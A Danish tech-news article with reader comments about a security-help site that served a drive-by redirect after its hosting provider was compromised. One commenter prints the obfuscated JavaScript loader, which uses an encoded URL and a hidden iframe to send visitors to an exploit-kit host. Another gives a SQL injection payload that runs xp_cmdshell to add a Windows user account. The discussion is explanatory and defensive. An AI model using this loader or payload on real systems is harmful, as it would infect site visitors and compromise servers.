Dansk sikkerhedssite overtaget af hackere
Sitet Spywarefri.dk, som hjælper private brugere i kampen mod virusangreb, blev i weekenden selv hacket, og førte derfor besøgende ind på hacker-websites, som forsøgte at inficere brugernes maskiner.
Spywarefri.dk blev udsat for et såkaldt "SQL-injection" angreb, som videresendte besøgende til et andet site, der forsøger at inficere brugernes pc'er ved at angribe med flere sårbarheder. Det skriver sikkerhedsfirmaet CSIS i en pressemeddelelse.
Angrebet foregik ved at indsætte et Javascript i siden, som videredirigerede websidens brugerne til hackersitet, som befinder sig i Kina. Herfra forsøgte hackerne at inficere brugerne, blandt andet ved hjælp af en nyligt opdaget sikkerhedshul i Internet Explorer 7, som Microsoft lukkede med en fejlrettelse for to uger siden.
Det indsatte Javascript ligner overfladisk set en reference til et billede i GIF-format, men i stedet viderestiller scriptet brugeren til hackersitet, som udover hullet i Internet Explorer 7 også benytter sårbarheder i Adobe Flash, Adobe Reader, Real player og Office snapshot viewer.
Angrebet gik ikke specifikt efter Spywarefri.dk, men ramte alle 150 kunder hos hostingfirmaet Unoeuro, oplyser sikkerhedskonsulent Thomas Andersen fra Spywarefri.dk til Version2.
Han medgiver, at det er meget uheldigt at et site, som skal hjælpe brugerne med sikkerheden, selv bliver inficeret.
»Da vi opdagede det, kontaktede vi Unoeuro med det samme og lukkede forummet ned, og så videre.«
Spywarefri.dk er i gang med at skifte til en mere sikker udbyder end Unoeuro. Det er noget, som sitet har tænkt over tidligere.
»Nu kommer der helt sikkert bedre sikkerhed,« lover Thomas Andersen.
Kommentarer (19)
Hvordan kan huller i hosting firmaets sikkerhed skabe SQL injection huller i alle deres kunders websites?
Eller kunne angriberne indsætte kode i samtlige kunders databaser ved at udnytte et hul i en kundes? Hvordan er det hosting firmaets skyld?
Jeg mangler nogle informationer for at kunne hitte ud af, hvad der egentlig er sket.
-
0 -
0
CSIS skriver godt nok, at der er tale om en SQL injektion - men det er ikke noget vi har fået bekræftet fra UnoEuros side. Faktisk har vi fået meget lidt information fra dem.
Vi var egentlig i gang med en flytning allerede, men det hele er ikke på plads lige nu. Det er nogle af deres IIS servere, der blev kompromitteret. Det resulterede i, at det skadelige script blev spyttet ud før headeren på alle de websites, der lå på serverne.
Hvorfor de ikke kunne afskærme mod angrebet i weekenden eller lukke hullet, er stadig et ubesvaret spørgsmål.
-
0
-
0
Det kan de ikke, CSIS har bare trukket en rigtig rigtig almen teori op at hatten, på et problem som de absolut intet ved noget om.
-
0
-
0
noget tilsvarende lørdag. Jeg søgte på Google efter WIFi Hopper og var inde på Softsea.com for at læse deres anmeldelse. Jeg fortsatte så med at bladre - der var 5 sider med forskellige anmeldelser - og da jeg kom til side gik der et lille stykke tid og så kom der en advarsel fra IE7s pop-up blocker, at der var "noget" der ville installere software. Jeg kører som begrænset bruger i XP Pro, uden noget anti-virus.
Ctrl-Alt-Del -> Joblist -> Programmer -> Afslut Internet Explorer.
Jeg gik så ind på sitet igen med en BackTrack3 live CD og fik sourcen frem. Nederst på side 5 var der noget der så mystisk ud:
[code=JavaScript]<script language="javascript">
var agt=navigator.userAgent.toLowerCase();
var win=((agt.indexOf("win")!=-1) || (agt.indexOf("32b")!=-1));
var nu='%u0068%u0074%u0074%u0070%u003a%u002f%u002f%u0078%u002d%u0073'+
'%u006b%u0069%u0070%u002e%u0063%u006e%u002f%u0073%u0065%u006f'+
'%u002e%u0070%u0068%u0070';
var ko=unescape(nu);
if (win)
{
var ahw=document.createElement('iframe');
ahw.style.border='0px';ahw.style.width='2px';
ahw.style.height='2px';ahw.src=ko;
document.body.appendChild(ahw);
}
</script>[/code]
Der bliver linket til en side fra Kina. Adressen er kodet med de der "%u00XY" tegn for at prøve at skjule det. Selv om jeg tastede adressen ind kom der nu bare en time-out.
Jeg gjorde Softsea support opmærksom på hvad jeg havde fundet og dagen efter svarede de og takkede for oplysningen.
-
0
-
0
Jeg har selv en lille side kørende hos Unoeuro.
Der har højst sandsynligt været tale om nogle trial-run's i løbet af den sidste måneds tid.
Men fredag aften blev angrebet aktiveret i, formentligt et par timer.
Igen nogle timer i løbet af lørdagen.
Og igen søndag.
Man havde formået at intervenere på HTTP niveau, hvor der blev tilføjet et <scriqpt> tag inden det egentlige html.
Scriptet hedder ganske rigtigt .gif, men det er nok fordi den der hoster scriptet selv er kompromitteret, så webmasteren ikke tænker over der ligger en ken.gif på maskinen.
Som nævnt er der ikke tale om SQL injection, da selv flade .html filer også fik tilføjet <script> tagget.
Der er heller ikke tilføjet/rettet noget i mine filer på serveren.
Desværre får vi (som sædvanlig) nok ikke sandheden at vide om hændelserne.
At kalde det en SQL injection er da det værste pladder.
-
0
-
0
Ja, linierne bryder andre steder end beregnet. Der er 3 linier og de 2 første skulle ha' brudt hvor der er et "+".
-
0
-
0
Hej Stig. Du her :-)
Mit indlæg på dk.edb.sikkerhed.virus fra lørdag er ikke at finde på Google. Muligvis fordi det indeholder ovenstående skadelig kode. Din follow-up og de senere indlæg er der, men ikke det første i tråden. Derfor kommer det een gang til her.
PS. Hvordan får jeg vist det på en pæn måde her?
-
0
-
0
PS. Hvordan får jeg vist det på en pæn måde her?
Ved at sætte din kode indenfor [code=sprog] - læs debatguiden på http://www.version2.dk/debat/guide for understøttede programmeringssprog og andre muligheder for formattering.
Vh
Jan, Version2
PS. Jeg har redigeret dit indlæg, så koden står i et [code=Javascript] afsnit.
-
0
-
0
Ikke at jeg kender denne sag i detaljer, men generelt kan SQL injections indimellem bruges til at oprette ændre filer i filsystemet.
De fleste databasesystemer giver mulighed for "shell escapes", dvs afvikling af kommandoer i operativsystemet. Således kan problemer med SQL injection udvides til at blive fuldt kompromiteret server.
Løsningen er blandt andet at have begrænset mest muligt i flere niveauer. Spørg dig selv når du designer og udvikler applikationer. SKAL denne bruger BÅDE kunne læse og skrive, og derefter - godt DENNE bruger skal kunne læse og skrive, men hmmm BEHØVER denne bruger så at kunne oprette og slette tabeller osv.
Hvis du gennem hele udviklingen af applikationen begrænser mest muligt anvender du, Principle of least privilege - og DET er noget der virker.
Til SQL injections er det også en fordel at bruge prepared SQL statements, hvor der ikke kan tilføjes SQL, men kun parametre til en prepared SQL statement.
PS Husk OWASP Danmark har møde idag:
http://www.owasp.org/index.php/Denmark#Meeting_in_OWASP-DK_24.2F2_2009_a...
- tilmeld dig ASAP, hvis du ikke har gjort det :-)
-
0
-
0
De fleste databasesystemer giver mulighed for "shell escapes", dvs afvikling af kommandoer i operativsystemet. Således kan problemer med SQL injection udvides til at blive fuldt kompromiteret server.
Men det er forhåbentlig i selve kommandolinie (eller GUI) klienten, og hverken på serversiden, eller i det client library som webserveren/scripting sproget benytter?
- I så fald burde SQL injections ikke betyde det store for selve OS'et.
-
0
-
0
Tilfældigt link fundet med google:
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
Der udover en masse andet sjov man kan lave med SQL injections lister den kendte:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Dvs hvis en parameter ukritisk bruges i eksempelvis denne SQL:
[code=sql]"SELECT * FROM myTable
WHERE someText =’" & request.form("inputdata") & "’"[/code]
og du indsætter:
[code=sql]’ exec master..xp_cmdshell ’net user test testpass /ADD’ --[/code]
ender du med:
[code=sql]
SELECT * FROM myTable
WHERE someText =’’ exec master..xp_cmdshell
’net user test testpass /ADD’--’
[/code]
Dvs der udføres en vilkårlig kommando når SQL afvikles, nice - eller hvad :-) Koblet med at mange afvikler SQL/applikationen med Admin privilegier, vupti 0wned.
PS Håber alle kodeblokkene vises fornuftigt, ellers søg på SQL injection og exec master..xp_cmdshell
-
0
-
0
Dennis, nu skrev du ikke ret meget ... men aligevel har du fat i noget vigtigt.
10 Der er altid forudsætninger for at et angreb virker.
Goto 10, læs den mindst 3 gange for dig selv.
Når man snakker om et hackerangreb er der en masse forudsætninger der skal være på plads for at det pågældende angreb (eller exploit om man vil) virker.
xp_cmdshell antager at man er på Microsoft SQL server, det lyder måske indlysende, men ikke desto mindre ER det jo en antagelse. Dernæst skal det være en version hvor den pågældende funktion findes og er tilgængelig - og ganske rigtigt er den som default slået fra på SQL server 2005.
Hvis man bruger MySQL, PostgreSQL osv. er det helt andre funktioner. Ligesom det i Perl, PHP, ASP, .NET osv. er helt andre funktioner.
Det vigtigste du skal uddrage er således, et angreb kræver visse forudsætninger for at virke - og kan jeg bare fjerne EEN af de pågælgende forudsætninger fra mit miljø virker angrebet ikke.
Ved defense in depth fjerner man så mange forudsætninger/usikre ting - så der forhåbentlig ikke er nogle huller der kan udnyttes :-)
De fleste nyere versioner af applikationer har bedre sikkerhed, inkl. Microsofts ;-)
(mit eget command injection eksempel som jeg bruger på hackerkurser afvikler jeg stadig på Apache HTTPD 1.3, fordi version 2.0 har bedre sikkerhed og derfor nægter at udføre det usikre :-) )
Mit første eksempel var blot et eksempel på at et angreb, som SQL injection, kan udvides til at gøre mere end "blot at rode i databasen".
-
0
-
0
Hej Alex,
Det obfuskerede script fortolkes fint igennem IE og sender dig videre til en drive-by side. Jeg kan se at samme script er blevet brugt i forbindelse med masse defacements udført af "JacKal".
Den pågældende server indeholder et exploitkit (jeg tror det er polyexploit) og misbruger bl.a. MS09-002 sårbarheden i IE7.
Disse kits er i stand til at levere payload en gang og hvis et offer besøger siden igen (for at efterforske hvad der skete) så foretages der intet skadeligt. Denne funktion findes i flere kits der kan registrere på IP adresse men også ved at placere en cookie som indlæses hvis du besøger den fjendtlige webside igen. Det forklarer også hvorfor du kan have problemer med at få serveren til at levere payload igen ...
Vi har kigget lidt nærmere på denne sag og der er tilsyneladende mange hosting providere der er blevet ramt i det angreb som også har ramt Unoeuro. Angrebet ser bl.a. ud til at være gennemført ved at injekte indhold igennem usikre CMS systemer. Men som en anden bruger rigtigt anfører er det spekulation da vi ikke er direkte involveret i denne sag.
Venligst
Peter
-
0
-
0
Jeg tænker nu mest på at det ikke findes i serveren med mindre man gør noget aktivt dumt, i forhold til "almindelige" SQL injections hvor man bare skal have været uopmærksom.
Det er klart at administratoren kan enable den (og af en eller anden grund er der IKKE store "DON'T ENABLE THIS" skilte der blinker rødt overalt i dokumentationen), men jeg regner med at 999/1000 ikke slår det til (og forhåbentlig heller ikke giver websidens SQL bruger CONTROL SERVER rettigheder).
...fordi version 2.0 har bedre sikkerhed og derfor nægter at udføre det usikre :-)
Feje hold! ;)
-
0
-
0
Tak for linket.
Jeg kiggede faktisk efter på bl.a:
- men fandt ikke noget link til "/guide" på den side.
Var det mon en ide til en forbedring?
-
0
-
0
@Peter Kruse. Det var osse mit gæt. IE7 var opdateret med de seneste rettelser fra Microsoft WU.
Det er jeg meget omhyggelig med. Jeg bruger som sagt ikke noget anti-virus og det glæder mig, at opdateringen var nok til at forhindre at der skete skade. Det regner jeg da med, men jeg holder øje med computeren et stykke tid. Har skiftet switchen ud med en hub og kører Wireshark på en anden computer, og kigger jævnligt i routerens log.
Det er jo nemt nok at se hvad der skete. Men det Stig Johansen oplyser om "ken.gif" filen forstår jeg ikke. Åbner jeg den i Firefox kommer der bare en meddelse om at filen er beskadiget. Åbner jeg den i Konqueror, kan jeg godt se at der er koder.
Men hvordan bliver koden i "ken.gif" så afviklet i en browser? For det er vel en forudsætning, at den gør?
-
0
-
0
Men hvordan bliver koden i "ken.gif" så afviklet i en browser? For det er vel en forudsætning, at den gør?
Aah! Nu var der noget der dæmrede. Er der ikke noget med, at Internet Explorer alligevel afvikler kode i non-java file - i hvert fald hvis der er kode i de første X byte?
-
0
-
0
Lige præcis denne sag har jeg, og en anden fulgt.
Baggrunden er, at vi har en intern ajax drevet chat på en af serverne.
Denne chat kigger hvert 5. sekund efter nye meddelelser.
Jeg har det med at lade den stå tændt, og lørdag morgen var der dukket nogle mystiske linier op.
Der er en speciel inpakning, der gør at jeg fjerner nogle tegn i starten.
Jeg tog et lille skærmdump:
http://w-o-p-r.dk/images/me9x.png
SQL injection kunne der ikke være tale om, da jeg har bygget det over MS Access, bruger parameterized SQL, samt har låst det (ASP scriptet) af til kun 2 IP adresser.
Godt så, så må der være injected noget i min messages.asp, fat i FTP'en og tjekke - næh der var ikke tilføjet eller ændret noget.
Endvidere fik jeg en melding om, at min indexside'forside' gav advarsler.
Denne er en almindelig html fil, og ikke asp.
WTF is going on - tænkte vi.
Ved tjek af opslag kunne vi konstatere, at såvel asp filer som htmlfiler havde fået indsat <script> tagget fom det første.
Da tagget ikke lå i asp filerne, samt det faktum at tagget vlev indsat efter/i forbindelse med kørsel af asp scriptet, må betyde at injection må ske på IIS/netværks niveau.
Når jeg skriver det med aktive/deaktive perioder hænger det qsammen med, at ovennævnte chat kørte hele weekenden, og man kunne straks se hvornår disse linier dukkede op igen.
Dog er der ikke klokkeslet på (script) linierne, så det er ca. tidspunkter.
@Axel
Hvis du blot kalder ken.gif vil browseren tro der er et image, en probe på headers viser også:
Content-Type: image/gif
men selve injection'en blev lavet med
<script language=javascript...
Jeg er servermand, og ikke 'browsermand', men jeg vil tro det er årsagen til den bliver aktiveret.
Selve ken.gif scriptet er do kun stqarting point for andre scripts/iframes, som i sidste ende fører til selve forsøgene på installation af malware.
Jeg har engang lavet en lille oversigt over fødekæden her:
http://w-o-p-r.dk/storm.monitor/rationale.asp
Unoeuros servere var i dette spil 'trusted servers'.
Jeg lavede en lille tracing af eventuelt forløb, og bemærker i øvrigt, at man rent faktisk bruger 'packer' til at qobfuskere nogle af scriptene i 'komplekset'.
@Peter Kruse
Denne funktion findes i flere kits der kan registrere på IP adresse men også ved at placere en cookie som indlæses hvis du besøger den fjendtlige webside igen.
Sidste år lavede jeg et lille hobbyprojekt, 'observing things of nature'.
Her stødte jeg på en (hel) del sites, der 1. gang forsøgte download af malware, 2. gang porno, og 3. gang og senere - intet.
Teksten var 404 NOT found, men statuskoden var 200 OK.
Jeg har ikke gemt dokumentation, men er rimelig sikker på, at det var lavet ved at ændre rewriting rules i .htaccess
På denne måde var det kun een gang pr. url, og pr. url pr. IP.
Det betyder at man ikke kan efterforske overhovedet, da andre requests, uagtet IP, vil få hhv. porno/intet.
@Henrik
Jeg kender ganske udmærket xp_cmdshell, og hvis det er den der blev brugt til at installere malware på serverne, vil jeg godt gå med til at kalde det installation vha SQL injection.
MEN vi er vel også enige om, at det kun er MS SQLServers kommandoprompt man får fat i.
Jeg kender ikke Unoeuros infrastruktur, men der var tale om 8 IIS servere, der var inficeret.
Hvis der skulle qvære brugt SQL injection betyder det, så vidt jeg kan se, at der skal være en MS SQLServer på hver af disse IIS servere.
Lad mig sige det på den måde:
Hvis det var mig, ville jeg aldrig køre MS SQLServer på samme kværn som IIS.
PS Husk OWASP Danmark har møde idag:
Jeg har skam meldt mig til fra starten, men jeg syntes ikke jeg har interesse silverlight og javafx, som sagt er jeg interesseret i [b]servereq[/b] og ikke RIA værktøjer.
Jeg havde dog overvejet at sende en mail med detaljerede oplysninger om denne sag, som man kunne diskutere lidt over, men selvfølgelig glemte jeg det.
Problemstillingen i denne sag er ganske alvorlig, synes jeg, for man har mulighed for at inficere brugere uden om systemet.
Den er ikke særlig vigtig, men jeg har et lille projekt liggende på en server. Det er en slags intrusion detection system, som netop skal afsløre inficerede servere.
Jeg går ud fra man kan se det groteske:
Man bliver inficeret af, at besøge en side, der netop modarbejder inficeringer.
-
0
-
0
